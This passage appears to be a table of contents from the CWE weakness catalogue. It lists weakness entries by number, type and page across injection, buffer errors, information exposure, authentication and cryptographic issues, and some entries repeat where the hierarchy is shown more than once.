  - V CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
  - V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
  - V CWE-156: Improper Neutralization of Whitespace (p. 309)
  - V CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
  - V CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
  - C CWE-159: Failure to Sanitize Special Element (p. 314)
    - V CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
      - V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
    - V CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
      - V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)
    - V CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
      - V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)
  - B CWE-166: Improper Handling of Missing Special Element (p. 324)
  - B CWE-167: Improper Handling of Additional Special Element (p. 325)
  - B CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)

- B CWE-188: Reliance on Data/Memory Layout (p. 359)
- C CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
  - B CWE-229: Improper Handling of Values (p. 421)
    - V CWE-230: Improper Handling of Missing Values (p. 422)
    - V CWE-231: Improper Handling of Extra Values (p. 423)
    - V CWE-232: Improper Handling of Undefined Values (p. 423)
  - B CWE-233: Improper Handling of Parameters (p. 424)
    - V CWE-234: Failure to Handle Missing Parameter (p. 425)
    - V CWE-235: Improper Handling of Extra Parameters (p. 427)
    - V CWE-236: Improper Handling of Undefined Parameters (p. 427)
  - B CWE-237: Improper Handling of Structural Elements (p. 428)
    - V CWE-238: Improper Handling of Incomplete Structural Elements (p. 428)
    - V CWE-239: Failure to Handle Incomplete Element (p. 429)
    - V CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
  - B CWE-241: Improper Handling of Unexpected Data Type (p. 430)
- C CWE-189: Numeric Errors (p. 360)
  - B CWE-128: Wrap-around Error (p. 257)
  - B CWE-129: Improper Validation of Array Index (p. 258)
  - B CWE-190: Integer Overflow or Wraparound (p. 361)
  - V CWE-195: Signed to Unsigned Conversion Error (p. 377)
  - B CWE-198: Use of Incorrect Byte Ordering (p. 383)
  - B CWE-681: Incorrect Conversion between Numeric Types (p. 1058)
    - B CWE-194: Unexpected Sign Extension (p. 375)
    - V CWE-195: Signed to Unsigned Conversion Error (p. 377)
    - V CWE-196: Unsigned to Signed Conversion Error (p. 380)
    - B CWE-197: Numeric Truncation Error (p. 381)
  - C CWE-682: Incorrect Calculation (p. 1060)
    - C CWE-192: Integer Coercion Error (p. 368)
    - B CWE-128: Wrap-around Error (p. 257)
    - B CWE-131: Incorrect Calculation of Buffer Size (p. 269)
    - B CWE-190: Integer Overflow or Wraparound (p. 361)
    - B CWE-191: Integer Underflow (Wrap or Wraparound) (p. 367)
    - B CWE-193: Off-by-one Error (p. 371)
    - B CWE-369: Divide By Zero (p. 647)
  - B CWE-839: Numeric Range Comparison Without Minimum Check (p. 1279)
- C CWE-199: Information Management Errors (p. 384)
  - C CWE-200: Information Exposure (p. 384)
    - V CWE-201: Information Exposure Through Sent Data (p. 387)
    - V CWE-202: Exposure of Sensitive Data Through Data Queries (p. 389)
    - C CWE-203: Information Exposure Through Discrepancy (p. 389)
      - B CWE-204: Response Discrepancy Information Exposure (p. 392)
      - B CWE-205: Information Exposure Through Behavioral Discrepancy (p. 394)
        - V CWE-206: Information Exposure of Internal State Through Behavioral Inconsistency (p. 395)
        - V CWE-207: Information Exposure Through an External Behavioral Inconsistency (p. 396)
      - B CWE-208: Information Exposure Through Timing Discrepancy (p. 396)
    - B CWE-209: Information Exposure Through an Error Message (p. 397)
    - B CWE-210: Information Exposure Through Self-generated Error Message (p. 402)
      - V CWE-535: Information Exposure Through Shell Error Message (p. 874)
      - V CWE-536: Information Exposure Through Servlet Runtime Error Message (p. 875)

- V CWE-537: Information Exposure Through Java Runtime Error Message (p. 876)
- B CWE-211: Information Exposure Through Externally-generated Error Message (p. 403)
- V CWE-550: Information Exposure Through Server Error Message (p. 888)
- B CWE-212: Improper Cross-boundary Removal of Sensitive Data (p. 405)
- B CWE-213: Intentional Information Exposure (p. 407)
- V CWE-214: Information Exposure Through Process Environment (p. 408)
- V CWE-215: Information Exposure Through Debug Information (p. 409)
- B CWE-226: Sensitive Information Uncleared Before Release (p. 417)
- V CWE-497: Exposure of System Data to an Unauthorized Control Sphere (p. 840)
- V CWE-498: Cloneable Class Containing Sensitive Information (p. 842)
- V CWE-499: Serializable Class Containing Sensitive Data (p. 844)
- V CWE-524: Information Exposure Through Caching (p. 866)
- V CWE-525: Information Exposure Through Browser Caching (p. 867)
- V CWE-526: Information Exposure Through Environmental Variables (p. 868)
- B CWE-538: File and Directory Information Exposure (p. 877)
- V CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 868)
- V CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 869)
- V CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 870)
- V CWE-530: Exposure of Backup File to an Unauthorized Control Sphere (p. 870)
- V CWE-532: Information Exposure Through Log Files (p. 872)
- V CWE-533: Information Exposure Through Server Log Files (p. 873)
- V CWE-534: Information Exposure Through Debug Log Files (p. 874)
- V CWE-542: Information Exposure Through Cleanup Log Files (p. 881)
- V CWE-539: Information Exposure Through Persistent Cookies (p. 878)
- V CWE-540: Information Exposure Through Source Code (p. 879)
- V CWE-531: Information Exposure Through Test Code (p. 871)
- V CWE-541: Information Exposure Through Include Source Code (p. 880)
- V CWE-615: Information Exposure Through Comments (p. 962)
- V CWE-548: Information Exposure Through Directory Listing (p. 887)
- V CWE-651: Information Exposure Through WSDL File (p. 1008)
- V CWE-598: Information Exposure Through Query Strings in GET Request (p. 939)
- V CWE-612: Information Exposure Through Indexing of Private Data (p. 960)
- C CWE-216: Containment Errors (Container Errors) (p. 410)
- V CWE-219: Sensitive Data Under Web Root (p. 412)
- V CWE-220: Sensitive Data Under FTP Root (p. 412)
- C CWE-221: Information Loss or Omission (p. 413)
- B CWE-222: Truncation of Security-relevant Information (p. 414)
- B CWE-223: Omission of Security-relevant Information (p. 414)
- B CWE-778: Insufficient Logging (p. 1193)
- B CWE-224: Obscured Security-relevant Information by Alternate Name (p. 416)
- B CWE-779: Logging of Excessive Data (p. 1194)
- C CWE-461: Data Structure Issues (p. 778)
- B CWE-462: Duplicate Key in Associative List (Alist) (p. 779)
- B CWE-463: Deletion of Data Structure Sentinel (p. 780)
- B CWE-464: Addition of Data Structure Sentinel (p. 781)



- C CWE-116: Improper Encoding or Escaping of Output (p. 217)
- B CWE-117: Improper Output Neutralization for Logs (p. 223)
- V CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax (p. 999)
- B CWE-838: Inappropriate Encoding for Output Context (p. 1277)
- C CWE-118: Improper Access of Indexable Resource ('Range Error') (p. 225)
- C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
  - B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
    - V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
  - B CWE-123: Write-what-where Condition (p. 248)
  - B CWE-125: Out-of-bounds Read (p. 253)
    - V CWE-126: Buffer Over-read (p. 254)
    - V CWE-127: Buffer Under-read (p. 256)
  - V CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
  - B CWE-131: Incorrect Calculation of Buffer Size (p. 269)
  - B CWE-786: Access of Memory Location Before Start of Buffer (p. 1205)
    - B CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
      - V CWE-127: Buffer Under-read (p. 256)
  - B CWE-787: Out-of-bounds Write (p. 1207)
    - V CWE-121: Stack-based Buffer Overflow (p. 242)
    - V CWE-122: Heap-based Buffer Overflow (p. 245)
  - B CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
  - B CWE-788: Access of Memory Location After End of Buffer (p. 1208)
    - V CWE-121: Stack-based Buffer Overflow (p. 242)
    - V CWE-122: Heap-based Buffer Overflow (p. 245)
    - V CWE-126: Buffer Over-read (p. 254)
  - B CWE-805: Buffer Access with Incorrect Length Value (p. 1230)
    - V CWE-806: Buffer Access Using Size of Source Buffer (p. 1236)
  - B CWE-822: Untrusted Pointer Dereference (p. 1250)
  - B CWE-823: Use of Out-of-range Pointer Offset (p. 1252)
  - B CWE-824: Access of Uninitialized Pointer (p. 1254)
  - B CWE-825: Expired Pointer Dereference (p. 1255)
- C CWE-20: Improper Input Validation (p. 18)
  - C CWE-100: Technology-Specific Input Validation Problems (p. 192)
    - C CWE-101: Struts Validation Problems (p. 193)
      - V CWE-102: Struts: Duplicate Validation Forms (p. 193)
      - V CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
      - V CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
      - V CWE-105: Struts: Form Field Without Validator (p. 198)
      - V CWE-106: Struts: Plug-in Framework not in Use (p. 200)
      - V CWE-107: Struts: Unused Validation Form (p. 202)
      - V CWE-108: Struts: Unvalidated Action Form (p. 204)
      - V CWE-109: Struts: Validator Turned Off (p. 205)
      - V CWE-110: Struts: Validator Without Form Field (p. 206)
      - V CWE-608: Struts: Non-private Field in ActionForm Class (p. 954)
  - C CWE-21: Pathname Traversal and Equivalence Errors (p. 29)
    - C CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (p. 30)
      - B CWE-23: Relative Path Traversal (p. 40)
        - V CWE-24: Path Traversal: './filedir' (p. 45)
        - V CWE-25: Path Traversal: '/../filedir' (p. 46)
        - V CWE-26: Path Traversal: '/dir/../filename' (p. 48)
        - V CWE-27: Path Traversal: 'dir/../../filename' (p. 49)





- V CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
- V CWE-67: Improper Handling of Windows Device Names (p. 103)
- V CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream (p. 105)
- V CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path (p. 107)
- B CWE-111: Direct Use of Unsafe JNI (p. 208)
- B CWE-112: Missing XML Validation (p. 210)
- B CWE-114: Process Control (p. 215)
- C CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
- B CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
- B CWE-123: Write-what-where Condition (p. 248)
- B CWE-125: Out-of-bounds Read (p. 253)
- V CWE-126: Buffer Over-read (p. 254)
- V CWE-127: Buffer Under-read (p. 256)
- V CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
- B CWE-131: Incorrect Calculation of Buffer Size (p. 269)
- B CWE-786: Access of Memory Location Before Start of Buffer (p. 1205)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
- V CWE-127: Buffer Under-read (p. 256)
- B CWE-787: Out-of-bounds Write (p. 1207)
- V CWE-121: Stack-based Buffer Overflow (p. 242)
- V CWE-122: Heap-based Buffer Overflow (p. 245)
- B CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
- B CWE-788: Access of Memory Location After End of Buffer (p. 1208)
- V CWE-121: Stack-based Buffer Overflow (p. 242)
- V CWE-122: Heap-based Buffer Overflow (p. 245)
- V CWE-126: Buffer Over-read (p. 254)
- B CWE-805: Buffer Access with Incorrect Length Value (p. 1230)
- V CWE-806: Buffer Access Using Size of Source Buffer (p. 1236)
- B CWE-822: Untrusted Pointer Dereference (p. 1250)
- B CWE-823: Use of Out-of-range Pointer Offset (p. 1252)
- B CWE-824: Access of Uninitialized Pointer (p. 1254)
- B CWE-825: Expired Pointer Dereference (p. 1255)
- B CWE-129: Improper Validation of Array Index (p. 258)
- B CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') (p. 789)
- V CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 891)
- V CWE-601: URL Redirection to Untrusted Site ('Open Redirect') (p. 942)
- B CWE-606: Unchecked Input for Loop Condition (p. 953)
- V CWE-622: Improper Validation of Function Hook Arguments (p. 970)
- V CWE-626: Null Byte Interaction Error (Poison Null Byte) (p. 974)
- C CWE-73: External Control of File Name or Path (p. 109)
- C CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (p. 113)
- B CWE-134: Uncontrolled Format String (p. 277)
- C CWE-138: Improper Neutralization of Special Elements (p. 285)
- C CWE-169: Technology-Specific Special Elements (p. 327)
- B CWE-170: Improper Null Termination (p. 328)
- B CWE-140: Improper Neutralization of Delimiters (p. 287)

- V CWE-141: Improper Neutralization of Parameter/Argument Delimiters (p. 289)
- V CWE-142: Improper Neutralization of Value Delimiters (p. 290)
- V CWE-143: Improper Neutralization of Record Delimiters (p. 291)
- V CWE-144: Improper Neutralization of Line Delimiters (p. 293)
- V CWE-145: Improper Neutralization of Section Delimiters (p. 294)
- V CWE-146: Improper Neutralization of Expression/Command Delimiters (p. 296)
- V CWE-147: Improper Neutralization of Input Terminators (p. 297)
- V CWE-148: Improper Neutralization of Input Leaders (p. 298)
- V CWE-149: Improper Neutralization of Quoting Syntax (p. 299)
- V CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences (p. 301)
- V CWE-151: Improper Neutralization of Comment Delimiters (p. 302)
- V CWE-152: Improper Neutralization of Macro Symbols (p. 304)
- V CWE-153: Improper Neutralization of Substitution Characters (p. 305)
- V CWE-154: Improper Neutralization of Variable Name Delimiters (p. 307)
- V CWE-155: Improper Neutralization of Wildcards or Matching Symbols (p. 308)
- V CWE-156: Improper Neutralization of Whitespace (p. 309)
- V CWE-157: Failure to Sanitize Paired Delimiters (p. 311)
- V CWE-158: Improper Neutralization of Null Byte or NUL Character (p. 312)
- G CWE-159: Failure to Sanitize Special Element (p. 314)
- V CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
  - V CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)
- V CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
  - V CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)
- V CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
  - V CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)
- B CWE-166: Improper Handling of Missing Special Element (p. 324)
- B CWE-167: Improper Handling of Additional Special Element (p. 325)
- B CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)
- G CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection) (p. 116)
- B CWE-76: Improper Neutralization of Equivalent Special Elements (p. 116)
- G CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection') (p. 117)
  - B CWE-624: Executable Regular Expression Error (p. 972)
  - B CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (p. 121)
  - B CWE-88: Argument Injection or Modification (p. 155)
  - B CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') (p. 1344)
- B CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (p. 131)
  - V CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)

- V CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
- V CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
  - V CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
- V CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
- V CWE-85: Doubled Character XSS Manipulations (p. 151)
- V CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- V CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 154)
- B CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 998)
- B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1009)
- B CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)
- C CWE-94: Improper Control of Generation of Code ('Code Injection') (p. 173)
- B CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
- B CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection') (p. 181)
  - V CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- B CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- C CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p. 1369)
  - B CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 998)
  - B CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1009)
  - B CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
    - V CWE-564: SQL Injection: Hibernate (p. 900)
  - B CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 169)
- B CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
  - B CWE-641: Improper Restriction of Names for Files and Other Resources (p. 991)
  - B CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1076)
- V CWE-781: Improper Address Validation in IOCTL with METHOD\_NEITHER I/O Control Code (p. 1197)
- V CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1204)
- C CWE-228: Improper Handling of Syntactically Invalid Structure (p. 420)
  - B CWE-229: Improper Handling of Values (p. 421)
    - V CWE-230: Improper Handling of Missing Values (p. 422)
    - V CWE-231: Improper Handling of Extra Values (p. 423)
    - V CWE-232: Improper Handling of Undefined Values (p. 423)
  - B CWE-233: Improper Handling of Parameters (p. 424)
    - V CWE-234: Failure to Handle Missing Parameter (p. 425)
    - V CWE-235: Improper Handling of Extra Parameters (p. 427)
    - V CWE-236: Improper Handling of Undefined Parameters (p. 427)
  - B CWE-237: Improper Handling of Structural Elements (p. 428)
    - V CWE-238: Improper Handling of Incomplete Structural Elements (p. 428)

- V CWE-239: Failure to Handle Incomplete Element (p. 429)
- V CWE-240: Improper Handling of Inconsistent Structural Elements (p. 430)
- B CWE-241: Improper Handling of Unexpected Data Type (p. 430)
- B CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 792)
- B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- V CWE-473: PHP External Variable Modification (p. 796)
- V CWE-607: Public Static Final Field References Mutable Object (p. 953)
- C CWE-254: Security Features (p. 452)
- C CWE-255: Credentials Management (p. 453)
- V CWE-261: Weak Cryptography for Passwords (p. 464)
- V CWE-262: Not Using Password Aging (p. 466)
- B CWE-263: Password Aging with Long Expiration (p. 467)
- B CWE-521: Weak Password Requirements (p. 861)
- B CWE-522: Insufficiently Protected Credentials (p. 862)
- V CWE-256: Plaintext Storage of a Password (p. 454)
- B CWE-257: Storing Passwords in a Recoverable Format (p. 456)
- V CWE-260: Password in Configuration File (p. 463)
- V CWE-258: Empty Password in Configuration File (p. 458)
- V CWE-523: Unprotected Transport of Credentials (p. 865)
- V CWE-549: Missing Password Field Masking (p. 887)
- V CWE-620: Unverified Password Change (p. 967)
- B CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 989)
- B CWE-798: Use of Hard-coded Credentials (p. 1219)
- B CWE-259: Use of Hard-coded Password (p. 459)
- B CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
- C CWE-264: Permissions, Privileges, and Access Controls (p. 468)
- C CWE-265: Privilege / Sandbox Issues (p. 469)
- G CWE-250: Execution with Unnecessary Privileges (p. 440)
- B CWE-266: Incorrect Privilege Assignment (p. 471)
- B CWE-267: Privilege Defined With Unsafe Actions (p. 473)
- V CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 971)
- B CWE-268: Privilege Chaining (p. 475)
- B CWE-269: Improper Privilege Management (p. 477)
- B CWE-270: Privilege Context Switching Error (p. 479)
- G CWE-271: Privilege Dropping / Lowering Errors (p. 480)
- B CWE-272: Least Privilege Violation (p. 482)
- B CWE-273: Improper Check for Dropped Privileges (p. 485)
- B CWE-274: Improper Handling of Insufficient Privileges (p. 487)
- G CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p. 957)
- B CWE-648: Incorrect Use of Privileged APIs (p. 1004)
- C CWE-275: Permission Issues (p. 488)
- V CWE-276: Incorrect Default Permissions (p. 490)
- V CWE-277: Insecure Inherited Permissions (p. 492)
- V CWE-278: Insecure Preserved Inherited Permissions (p. 493)
- V CWE-279: Incorrect Execution-Assigned Permissions (p. 494)
- B CWE-280: Improper Handling of Insufficient Permissions or Privileges (p. 495)
- B CWE-281: Improper Preservation of Permissions (p. 496)
- B CWE-618: Exposed Unsafe ActiveX Method (p. 966)
- G CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- B CWE-689: Permission Race Condition During Resource Copy (p. 1070)
- G CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 627)

- C CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1121)
- C CWE-282: Improper Ownership Management (p. 497)
- B CWE-283: Unverified Ownership (p. 498)
- B CWE-708: Incorrect Ownership Assignment (p. 1108)
- C CWE-284: Improper Access Control (p. 499)
- B CWE-269: Improper Privilege Management (p. 477)
- B CWE-270: Privilege Context Switching Error (p. 479)
- C CWE-285: Improper Authorization (p. 501)
- C CWE-862: Missing Authorization (p. 1299)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- B CWE-639: Authorization Bypass Through User-Controlled Key (p. 988)
- V CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 902)
- C CWE-863: Incorrect Authorization (p. 1304)
- B CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization (p. 889)
- V CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1003)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- V CWE-926: Improper Export of Android Application Components (p. 1352)
- V CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1354)
- C CWE-286: Incorrect User Management (p. 507)
- B CWE-842: Placement of User into Incorrect Group (p. 1286)
- C CWE-287: Improper Authentication (p. 507)
- V CWE-301: Reflection Attack in an Authentication Protocol (p. 532)
- B CWE-303: Incorrect Implementation of Authentication Algorithm (p. 535)
- B CWE-304: Missing Critical Step in Authentication (p. 535)
- V CWE-306: Missing Authentication for Critical Function (p. 537)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
- B CWE-308: Use of Single-factor Authentication (p. 544)
- B CWE-309: Use of Password System for Primary Authentication (p. 545)
- C CWE-592: Authentication Bypass Issues (p. 933)
- B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 512)
- B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- V CWE-289: Authentication Bypass by Alternate Name (p. 513)
- B CWE-290: Authentication Bypass by Spoofing (p. 514)
- V CWE-291: Reliance on IP Address for Authentication (p. 517)
- V CWE-293: Using Referer Field for Authentication (p. 518)
- V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 608)
- B CWE-294: Authentication Bypass by Capture-replay (p. 520)
- V CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 533)
- B CWE-305: Authentication Bypass by Primary Weakness (p. 536)
- V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 934)
- B CWE-603: Use of Client-Side Authentication (p. 950)
- B CWE-613: Insufficient Session Expiration (p. 960)
- V CWE-620: Unverified Password Change (p. 967)
- B CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1000)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- B CWE-836: Use of Password Hash Instead of Password for Authentication (p. 1275)



- B CWE-384: Session Fixation (p. 663)
  - B CWE-346: Origin Validation Error (p. 602)
  - C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- B CWE-346: Origin Validation Error (p. 602)
- V CWE-782: Exposed IOCTL with Insufficient Access Control (p. 1198)
- C CWE-923: Improper Restriction of Communication Channel to Intended Endpoints (p. 1349)
  - C CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 530)
  - V CWE-925: Improper Verification of Intent by Broadcast Receiver (p. 1351)
  - B CWE-940: Improper Verification of Source of a Communication Channel (p. 1364)
  - B CWE-941: Incorrectly Specified Destination in a Communication Channel (p. 1366)
  - V CWE-942: Overly Permissive Cross-domain Whitelist (p. 1367)
- C CWE-310: Cryptographic Issues (p. 547)
  - C CWE-320: Key Management Errors (p. 564)
    - B CWE-321: Use of Hard-coded Cryptographic Key (p. 565)
    - B CWE-322: Key Exchange without Entity Authentication (p. 567)
    - B CWE-323: Reusing a Nonce, Key Pair in Encryption (p. 568)
    - B CWE-324: Use of a Key Past its Expiration Date (p. 569)
  - B CWE-311: Missing Encryption of Sensitive Data (p. 548)
    - B CWE-312: Cleartext Storage of Sensitive Information (p. 553)
      - V CWE-313: Cleartext Storage in a File or on Disk (p. 556)
      - V CWE-314: Cleartext Storage in the Registry (p. 557)
      - V CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 558)
      - V CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 559)
      - V CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 560)
      - V CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 561)
    - B CWE-319: Cleartext Transmission of Sensitive Information (p. 562)
  - V CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute (p. 961)
  - B CWE-325: Missing Required Cryptographic Step (p. 570)
  - C CWE-326: Inadequate Encryption Strength (p. 571)
    - V CWE-261: Weak Cryptography for Passwords (p. 464)
  - B CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 573)
    - B CWE-916: Use of Password Hash With Insufficient Computational Effort (p. 1341)
  - B CWE-328: Reversible One-Way Hash (p. 578)
  - V CWE-329: Not Using a Random IV with CBC Mode (p. 580)
  - V CWE-780: Use of RSA Algorithm without OAEP (p. 1195)
- C CWE-355: User Interface Security Issues (p. 619)
  - B CWE-356: Product UI does not Warn User of Unsafe Actions (p. 620)
  - B CWE-357: Insufficient UI Warning of Dangerous Operations (p. 621)
  - V CWE-549: Missing Password Field Masking (p. 887)
- V CWE-260: Password in Configuration File (p. 463)
  - V CWE-258: Empty Password in Configuration File (p. 458)
- C CWE-287: Improper Authentication (p. 507)
  - V CWE-301: Reflection Attack in an Authentication Protocol (p. 532)
  - B CWE-303: Incorrect Implementation of Authentication Algorithm (p. 535)
  - B CWE-304: Missing Critical Step in Authentication (p. 535)

- V CWE-306: Missing Authentication for Critical Function (p. 537)
- B CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 541)
- B CWE-308: Use of Single-factor Authentication (p. 544)
- B CWE-309: Use of Password System for Primary Authentication (p. 545)
- C CWE-592: Authentication Bypass Issues (p. 933)
- B CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 512)
  - B CWE-425: Direct Request ('Forced Browsing') (p. 727)
- V CWE-289: Authentication Bypass by Alternate Name (p. 513)
- B CWE-290: Authentication Bypass by Spoofing (p. 514)
  - V CWE-291: Reliance on IP Address for Authentication (p. 517)
  - V CWE-293: Using Referer Field for Authentication (p. 518)
  - V CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 608)
- B CWE-294: Authentication Bypass by Capture-replay (p. 520)
- V CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 533)
- B CWE-305: Authentication Bypass by Primary Weakness (p. 536)
- V CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 934)
- B CWE-603: Use of Client-Side Authentication (p. 950)
- B CWE-613: Insufficient Session Expiration (p. 960)
- V CWE-620: Unverified Password Change (p. 967)
- B CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1000)
- B CWE-804: Guessable CAPTCHA (p. 1229)
- B CWE-836: Use of Password Hash Instead of Password for Authentication (p. 1275)
- C CWE-384: Session Fixation (p. 663)
  - B CWE-346: Origin Validation Error (p. 602)
  - C CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 753)
  - B CWE-472: External Control of Assumed-Immutable Web Parameter (p. 793)
- B CWE-295: Improper Certificate Validation (p. 521)
  - B CWE-296: Improper Following of a Certificate's Chain of Trust (p. 523)
  - V CWE-297: Improper Validation of Certificate with Host Mismatch (p. 525)
  - V CWE-298: Improper Validation of Certificate Expiration (p. 527)
  - V CWE-299: Improper Check for Certificate Revocation (p. 528)
  - B CWE-370: Missing Check for Certificate Revocation after Initial Check (p. 649)
  - V CWE-599: Missing Validation of OpenSSL Certificate (p. 940)
- C CWE-330: Use of Insufficiently Random Values (p. 581)
  - B CWE-331: Insufficient Entropy (p. 586)
    - V CWE-332: Insufficient Entropy in PRNG (p. 587)
    - V CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 588)
  - B CWE-334: Small Space of Random Values (p. 589)
  - C CWE-335: PRNG Seed Error (p. 591)
    - B CWE-336: Same Seed in PRNG (p. 591)
    - B CWE-337: Predictable Seed in PRNG (p. 592)
    - B CWE-339: Small Seed Space in PRNG (p. 595)
  - B CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 593)
  - C CWE-340: Predictability Problems (p. 596)
  - B CWE-341: Predictable from Observable State (p. 596)
  - B CWE-342: Predictable Exact Value from Previous Values (p. 597)
  - B CWE-343: Predictable Value Range from Previous Values (p. 598)
  - B CWE-344: Use of Invariant Value in Dynamically Changing Context (p. 599)
  - B CWE-804: Guessable CAPTCHA (p. 1229)
- C CWE-345: Insufficient Verification of Data Authenticity (p. 600)



- B CWE-346: Origin Validation Error (p. 602)
